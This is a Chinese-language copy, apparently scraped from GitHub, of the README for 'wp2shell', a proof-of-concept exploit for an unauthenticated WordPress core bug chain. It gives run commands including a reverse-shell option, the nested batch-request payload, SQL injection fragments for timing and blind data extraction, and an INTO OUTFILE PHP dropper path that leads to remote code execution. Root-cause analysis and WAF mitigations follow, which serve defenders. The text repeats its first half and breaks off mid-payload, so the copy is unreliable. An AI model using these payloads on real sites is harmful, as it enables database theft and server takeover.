mverschu/CVE-2026-63030
GitHub: mverschu/CVE-2026-63030
针对 WordPress 核心未授权 RCE 漏洞链的 PoC 利用工具,通过 REST 批量路由混淆与 SQL 注入实现从盲读取数据库到远程代码执行的完整攻击路径。
Stars: 4 | Forks: 1
# wp2shell (CVE-2026-63030 / CVE-2026-60137)
这是一个未授权 WordPress 漏洞链的 PoC:REST 批量路由混淆加上 `WP_Query::author__not_in` SQL 注入。你可以进行盲读数据库,如果 MySQL 拥有 `FILE` 权限,可以通过 `INTO OUTFILE` 写入一个 PHP 投递程序,从而实现预认证 RCE。
| | |
|---|---|
| 名称 | wp2shell |
| CVE 编号 | CVE-2026-63030 (批量反序列化不同步), CVE-2026-60137 (`author__not_in` SQLi) |
| 受影响版本 | WordPress 6.9.0 至 6.9.4,7.0.0 至 7.0.1 |
| 修复版本 | 6.9.5,7.0.2 |
| 需要认证 | 否 |
| 发现者 | Adam Kues (Searchlight Cyber / Assetnote) |
请仅在你拥有或已获得授权的系统上使用此工具。
## 安装说明
需要 Python 3.10+。最简单的方式是使用 [pipx](https://pipx.pypa.io/):
```
# Debian / Ubuntu
sudo apt install pipx
pipx ensurepath
# 从此 repo
cd /path/to/CVE-2026-63030
pipx install .
```
然后 `wp2shell` 就会进入你的 PATH 中。修改代码后,请使用 `pipx install --force .` 重新安装。使用 `pipx uninstall wp2shell` 卸载。
或者跳过安装,直接运行文件:
```
python3 wp2shell.py target.example
```
## 运行说明
直接提供主机名 = 自动匹配协议(先尝试 `https://`,再尝试 `http://`)。仅在你想要强制指定协议时,才加上 `http://` 或 `https://` 前缀。
```
# 自动检测 scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# 强制指定 scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing 确认
wp2shell target.example --confirm-sqli
# SQLi -> OUTFILE -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
```
### 示例
| 参数 | 功能 |
|---|---|
| `--shell [LHOST [LPORT]]` | 完整的 RCE 链;默认 LHOST 为本机 IP,LPORT 为 443 |
| `--rest-route` | 优先尝试 `/?rest_route=/batch/v1` |
| `--verify-tls` | 验证 HTTPS 证书(默认关闭,适用于实验/自签名环境) |
| `--proxy URL` | 通过代理发送流量 |
| `--force` | 跳过 WordPress 指纹识别 |
`LHOST` 必须是 WordPress 主机可以访问到的 IP。对于 Docker 环境,通常意味着你的虚拟机/局域网 IP,而不是容器内部的 `127.0.0.1`。如果端口空闲,绑定 443 端口可能需要 root 权限。
## 工作原理
WordPress 暴露了一个无需认证的批量 REST 端点(`/wp-json/batch/v1` 或 `/?rest_route=/batch/v1`)。处理程序会验证每个子请求,然后再运行它。在受影响的版本中,这两个步骤使用的是相互独立的数组,这可能会导致它们失去同步,从而使得一个请求在验证时是一个路由,而在执行时变成了另一个路由。
```
Attacker
| POST /batch/v1 (no auth)
v
+---------------------------------------------+
| Outer desync |
| primer fails wp_parse_url() |
| -> POST /wp/v2/posts runs as batch handler |
+---------------------------------------------+
| nested batch in posts body
v
+---------------------------------------------+
| Inner desync |
| /wp/v2/users|categories?author_exclude=... |
| -> dispatched as posts get_items() |
+---------------------------------------------+
|
v
WP_Query::author__not_in -> raw SQL -> read / OUTFILE / reverse shell
```
### 1. 探测反序列化不同步
发送一个包含错误引导请求和几个在发生偏移时会返回已知错误代码的路由(`parse_path_failed`、`block_cannot_read`、`rest_batch_not_allowed`)的小型批量请求。返回带有这些标记的 HTTP 207 状态码说明漏洞存在。该工具会先尝试 `/wp-json/batch/v1`,然后再尝试 `/?rest_route=/batch/v1`。
### 2. 双重嵌套批量请求
Payload 的大致结构:
```
{
"requests": [
{ "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{ "path": "http://" },
{
"method": "GET",
"path": "/wp/v2/users?author_exclude="
},
{ "method": "GET", "path": "/wp/v2/posts" }
]
}
},
{ "method": "POST", "path": "/batch/v1", "body": { "requests": [] } }
]
}
```
- 外部引导请求:posts 的 body 作为嵌套的批量请求运行。
- 内部引导请求:`users?author_exclude=` 作为 posts 的 `get_items()` 运行。
- 尾部的 `/batch/v1` 的作用是让外部的 posts 请求能够窃取批量处理程序。
### 3. 盲注 SQLi
闭合 `NOT IN (` 列表并附加你的 Payload:
| 目标 | `author_exclude` 片段 |
|---|---|
| 真假判断 | `0) AND ()-- -` |
| 基于时间的确认 | `0) OR SLEEP(3)-- -` |
| 数据提取 | 二分查找 `ASCII(SUBSTRING((SELECT ...),n,1))` |
是否返回 posts(或嵌套响应中的 `X-WP-Total` / 非空列表)即为布尔判断依据。`SLEEP()` 是 `--confirm-sqli` 选项所使用的手段。这足以提取哈希值、配置选项以及数据库用户能够 `SELECT` 的任何内容。
### 4. 通过 OUTFILE 实现 RCE
无需破解密码或上传插件。相同的 SQLi,但使用不同的 Payload:
```
... UNION SELECT , NULL, NULL, ... LIMIT 1
INTO OUTFILE '/var/www/html/wp-content/uploads/.php'
```
`WP_Query` 会在 `$where` 之后的新行中自动追加 `LIMIT 0,10`,因此直接使用 `INTO OUTFILE` 会报错。该 PoC 将载体切换为 `/wp/v2/categories?...&per_page=-1` 并设置 `orderby: false`,这样尾部的 `LIMIT` 就会消失;接着使用 `NULL` 填充 `wp_posts.*`,并以 `//` 结束 PHP 代码,从而注释掉 OUTFILE 的后续填充内容。
```
SQLi (per_page=-1 carrier)
|
v
INTO OUTFILE -> /wp-content/uploads/{image|cropped|thumb|...}-XXXX.php
|
v
GET dropper -> reverse shell
|
v
session end -> dropper removed
```
你需要拥有 `FILE` 权限、一个 `mysqld` 可写且 Web 服务器可读的路径(如果数据库和应用是分离的,则需要共享卷),并且该目录必须已经存在。没有 `FILE` 权限?你仍然可以进行未授权的 SQLi,只是无法获取 shell。
## WordPress 核心根本原因
代码片段取自 WordPress 7.0.0。
### 批量数组反序列化不同步(`serve_batch_request_v1`)
文件:`wp-includes/rest-api/class-wp-rest-server.php`
如果路径未能通过 `wp_parse_url()` 的解析,代码会将 `WP_Error` 存入 `$requests` / `$validation`,但**不会**将其推入 `$matches`:
```
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error(
'parse_path_failed',
__( 'Could not parse the path.' ),
array( 'status' => 400 )
);
continue; // no $matches entry
}
// ... build WP_REST_Request, append to $requests
}
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue; // validation grows, matches does not
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
// ... allow_batch / has_valid_params / sanitize_params -> $validation[]
}
```
稍后的分发过程对这两个数组使用的是相同的索引 `$i`:
```
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
// emit error envelope, continue
continue;
}
$match = $matches[ $i ]; // $i is a $requests index, not a $matches index
// ...
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```
一个引导请求(`"path": "http://"` -> `parse_path_failed`)就足够了:
| `$requests` 索引 | 子请求 | 验证身份为 | 分发时的 `$matches` 插槽 |
|---:|---|---|---|
| 0 | primer (错误) | error (跳过) | n/a |
| 1 | `POST /wp/v2/posts` | posts | `$matches[1]` -> batch handler |
| 2 | `POST /batch/v1` | batch | `$matches[2]` -> wrong / OOB |
因此,posts 调用实际上会再次运行 `serve_batch_request_v1()`。这是嵌套的批量请求,没有 schema 检查,允许使用 GET 等等。
### SQLi 注入点(`author__not_in`)
文件:`wp-includes/class-wp-query.php`
`absint` 仅在值已经是数组时才会运行。如果传入一个字符串,它将直接进入 SQL 语句中:
```
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique(
array_map( 'absint', $query_vars['author__not_in'] )
);
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```
最终结果为:
```
AND wp_posts.post_author NOT IN ()
```
### 为什么正常的 REST 调用不会触发此问题
文件:`wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php`
Posts 将公开参数映射到了注入点:
```
$parameter_mappings = array(
'author' => 'author__in',
'author_exclude' => 'author__not_in',
// ...
);
```
`author_exclude` 的类型被定义为整数数组,因此直接访问
`GET /wp/v2/posts?author_exclude=0)+OR+SLEEP(3)--+-` 会在验证阶段被拒绝。
Users 和 categories 完全没有定义 `author_exclude`。在发生不同步之后,一个被作为 users/categories 验证的请求依然会运行 posts 的 `get_items()`,该方法会毫无阻碍地读取 `author_exclude` 并将原始字符串交给 `WP_Query`。
## 修复方案 / 快速缓解措施
**根本修复:** 升级至 WordPress **6.9.5**、**7.0.2** 或更新版本。这会同时修复批量反序列化不同步问题和 `author__not_in` SQLi 问题。
在你进行补丁升级之前,可采取以下措施:
1. **在边缘节点 / WAF / 反向代理上阻止匿名用户访问批量 API**。需覆盖**两条**路径:
- `/wp-json/batch/v1`
- `/?rest_route=/batch/v1`(以及任何等效的查询形式)
仅拦截 `/wp-json/...` 会使 `rest_route` 变体仍然处于开放状态。
2. **Nginx 示例**(根据你的 vhost 进行调整):
location = /wp-json/batch/v1 {
if ($request_method = OPTIONS) { return 204; }
return 403;
}
if ($arg_rest_route ~* "^/batch/v1") {
return 403;
}
3. **Apache 示例:**
Require all denied
RewriteEngine On
RewriteCond %{QUERY_STRING} (^|&)rest_route=/batch/v1 [NC]
RewriteRule ^ - [F,L]
4. **即使 SQLi 仍然存在,也要封堵 RCE 的后续利用:**
- WordPress 数据库用户**绝不能**拥有全局的 `FILE` 权限
- 将 MySQL/MariaDB 的 `secure_file_priv` 设置为非 Web 目录(或保持其严格限制)
- 不要将 Web 可写路径共享给数据库容器
5. **可选的强化措施:** 通过小型 must-use 插件或安全插件禁用未认证用户的 REST API,要求其能够专门拒绝 `batch/v1`。相比于长期的 REST 锁定,更推荐进行升级。
6. **检测滥用行为:** 针对批量端点的未认证 `POST` 请求发出警报,特别是包含 `author_exclude`、嵌套 `requests` 或诸如 `http://` 引导路径的请求体。
## 相关链接
- [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) - REST 批量路由混淆
- [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) - `WP_Query` SQL 注入
- [WordPress 7.0.2 发布公告](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Searchlight Cyber 安全公告](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)
- [Patchstack 分析](https://patchstack.com/articles/unauthenticated-sql-injection-in-wordpress-core-fixed-in-7-0-2/)
## 免责声明
本工具仅供教育和授权测试使用。请勿将其用于未经授权测试的设备。
这是一个未授权 WordPress 漏洞链的 PoC:REST 批量路由混淆加上 `WP_Query::author__not_in` SQL 注入。你可以进行盲读数据库,如果 MySQL 拥有 `FILE` 权限,可以通过 `INTO OUTFILE` 写入一个 PHP 投递程序,从而实现预认证 RCE。
| | |
|---|---|
| 名称 | wp2shell |
| CVE 编号 | CVE-2026-63030 (批量反序列化不同步), CVE-2026-60137 (`author__not_in` SQLi) |
| 受影响版本 | WordPress 6.9.0 至 6.9.4,7.0.0 至 7.0.1 |
| 修复版本 | 6.9.5,7.0.2 |
| 需要认证 | 否 |
| 发现者 | Adam Kues (Searchlight Cyber / Assetnote) |
请仅在你拥有或已获得授权的系统上使用此工具。
## 安装说明
需要 Python 3.10+。最简单的方式是使用 [pipx](https://pipx.pypa.io/):
```
# Debian / Ubuntu
sudo apt install pipx
pipx ensurepath
# 从此 repo
cd /path/to/CVE-2026-63030
pipx install .
```
然后 `wp2shell` 就会进入你的 PATH 中。修改代码后,请使用 `pipx install --force .` 重新安装。使用 `pipx uninstall wp2shell` 卸载。
或者跳过安装,直接运行文件:
```
python3 wp2shell.py target.example
```
## 运行说明
直接提供主机名 = 自动匹配协议(先尝试 `https://`,再尝试 `http://`)。仅在你想要强制指定协议时,才加上 `http://` 或 `https://` 前缀。
```
# 自动检测 scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# 强制指定 scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing 确认
wp2shell target.example --confirm-sqli
# SQLi -> OUTFILE -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
```
### 示例
| 参数 | 功能 |
|---|---|
| `--shell [LHOST [LPORT]]` | 完整的 RCE 链;默认 LHOST 为本机 IP,LPORT 为 443 |
| `--rest-route` | 优先尝试 `/?rest_route=/batch/v1` |
| `--verify-tls` | 验证 HTTPS 证书(默认关闭,适用于实验/自签名环境) |
| `--proxy URL` | 通过代理发送流量 |
| `--force` | 跳过 WordPress 指纹识别 |
`LHOST` 必须是 WordPress 主机可以访问到的 IP。对于 Docker 环境,通常意味着你的虚拟机/局域网 IP,而不是容器内部的 `127.0.0.1`。如果端口空闲,绑定 443 端口可能需要 root 权限。
## 工作原理
WordPress 暴露了一个无需认证的批量 REST 端点(`/wp-json/batch/v1` 或 `/?rest_route=/batch/v1`)。处理程序会验证每个子请求,然后再运行它。在受影响的版本中,这两个步骤使用的是相互独立的数组,这可能会导致它们失去同步,从而使得一个请求在验证时是一个路由,而在执行时变成了另一个路由。
```
Attacker
| POST /batch/v1 (no auth)
v
+---------------------------------------------+
| Outer desync |
| primer fails wp_parse_url() |
| -> POST /wp/v2/posts runs as batch handler |
+---------------------------------------------+
| nested batch in posts body
v
+---------------------------------------------+
| Inner desync |
| /wp/v2/users|categories?author_exclude=... |
| -> dispatched as posts get_items() |
+---------------------------------------------+
|
v
WP_Query::author__not_in -> raw SQL -> read / OUTFILE / reverse shell
```
### 1. 探测反序列化不同步
发送一个包含错误引导请求和几个在发生偏移时会返回已知错误代码的路由(`parse_path_failed`、`block_cannot_read`、`rest_batch_not_allowed`)的小型批量请求。返回带有这些标记的 HTTP 207 状态码说明漏洞存在。该工具会先尝试 `/wp-json/batch/v1`,然后再尝试 `/?rest_route=/batch/v1`。
### 2. 双重嵌套批量请求
Payload 的大致结构:
```
{
"requests": [
{ "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{ "path": "http://" },
{
"method": "GET",
"path": "/wp/v2/users?author_exclude=标签:Blue Team, CISA项目, PoC, Python, WordPress, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具